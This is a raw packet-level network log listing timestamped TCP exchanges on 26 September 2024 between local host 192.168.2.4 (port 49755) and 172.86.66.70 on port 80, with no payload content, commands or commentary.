Sep 26, 2024 12:12:30.200186014 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.200196981 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.200206041 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.200216055 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.200254917 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.200306892 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.200323105 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.200334072 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.200345039 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.200354099 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.200356960 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.200376034 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.200411081 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.200548887 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.200565100 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.200576067 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.200586081 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.200598001 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.200598001 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.200624943 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.200719118 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.200730085 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.200741053 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.200750113 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.200767040 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.200799942 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.205424070 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.205440044 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.205473900 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.205516100 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.205527067 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.205538034 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.205548048 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.205558062 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.205563068 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.205600023 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.205635071 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.205646038 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.205656052 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.205666065 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.205684900 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.205707073 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.205749989 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.205760956 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.205770969 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.205780029 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.205796957 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.205818892 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.205859900 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.205871105 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.205881119 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.205905914 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.205990076 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206001043 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206011057 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206022024 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206032038 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206037045 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.206043005 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206054926 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206068993 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206075907 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.206099033 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.206140041 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206151962 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206167936 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206177950 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206185102 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.206187963 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206199884 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206209898 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206219912 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.206221104 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206233025 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206242085 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.206264019 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.206280947 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.206408978 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206425905 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206435919 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206446886 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206458092 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206468105 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206470966 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.206479073 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206490040 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206506968 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206506968 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.206530094 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.206692934 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206703901 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206715107 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206726074 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206737041 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206743002 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.206751108 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206774950 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.206976891 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206988096 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.206998110 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207009077 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207019091 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207024097 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.207031012 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207041979 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207051039 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207056999 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.207065105 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207075119 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207084894 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.207086086 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207098007 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207108974 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207110882 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.207119942 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207134008 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.207156897 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.207350969 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207362890 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207380056 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207396030 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207401037 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.207407951 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207418919 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207427025 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.207431078 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207442999 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207453012 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207458019 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.207463980 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207475901 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207485914 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207498074 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207498074 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.207509041 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207521915 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207566023 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.207703114 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207714081 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207725048 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207746983 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.207761049 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207772017 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207788944 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207799911 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207809925 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.207812071 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.207849979 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.292392969 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.292408943 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.292421103 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.292457104 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.292469025 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.292479038 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.292490959 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.292490005 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.292535067 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.292607069 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.292618036 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.292628050 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.292659044 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.292676926 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.292705059 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.292716980 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.292738914 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.292764902 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.292810917 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.292826891 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.292845964 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.292865992 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.292908907 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.292932034 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.292943001 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.292953968 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.292964935 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.292978048 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.293013096 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.293087006 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.293097973 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.293114901 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.293131113 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.293143034 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.293144941 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.293165922 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.293265104 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.293276072 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.293286085 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.293297052 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.293306112 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.293327093 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.298120975 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.298161983 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.298171997 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.298173904 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.298198938 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.298222065 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.298245907 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.298293114 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.298310041 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.298321009 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.298331976 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.298361063 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.298441887 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.298453093 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.298464060 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.298491001 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.298520088 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.298544884 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.298556089 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.298598051 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.298666954 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.298801899 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.298846006 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.298855066 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.298856020 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.298891068 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.298897982 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.298988104 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.298999071 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.299009085 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.299020052 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.299030066 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.299072027 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.299211025 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.299221992 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.299232006 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.299242973 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.299253941 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.299263954 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.299266100 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.299276114 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.299288988 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.299289942 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.299302101 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.299314976 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.299341917 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.299738884 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.299751043 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.299761057 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.299772978 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.299784899 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.299786091 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.299792051 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.299798965 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.299803972 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.299849987 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.299860954 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.299870968 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.299882889 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.299895048 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.299904108 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.299915075 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.299952984 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.299988031 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.300173044 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.300183058 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.300199986 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.300210953 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.300220013 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.300230980 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.300236940 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.300242901 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.300255060 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.300266027 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.300273895 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.300276995 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.300288916 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.300295115 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.300298929 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.300312042 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.300321102 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.300322056 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.300334930 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.300348043 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.300358057 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.300364971 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.300370932 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.300384998 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.300409079 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.300889015 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.300899982 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.300909996 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.300920010 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.300930023 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.300936937 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.300947905 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.300952911 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.300960064 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.300971985 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.300977945 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.300982952 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.300998926 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.301002026 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.301011086 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.301022053 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.301023006 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.301033974 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.301045895 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.301048994 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.301069975 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.301089048 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.301204920 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.301254034 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.301265001 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.301275969 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.301286936 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.301295996 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.301323891 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.301357031 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.384860992 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.384885073 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.384896040 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.384953976 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.384965897 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.385031939 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.385044098 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.385056019 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.385066032 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.385082960 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.385083914 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.385138035 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.385149002 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.385159969 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.385318041 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.385329962 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.385339975 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.385350943 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.385360956 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.385471106 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.385483027 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.385492086 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.385503054 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.385513067 CEST	80	49755	172.86.66.70	192.168.2.4
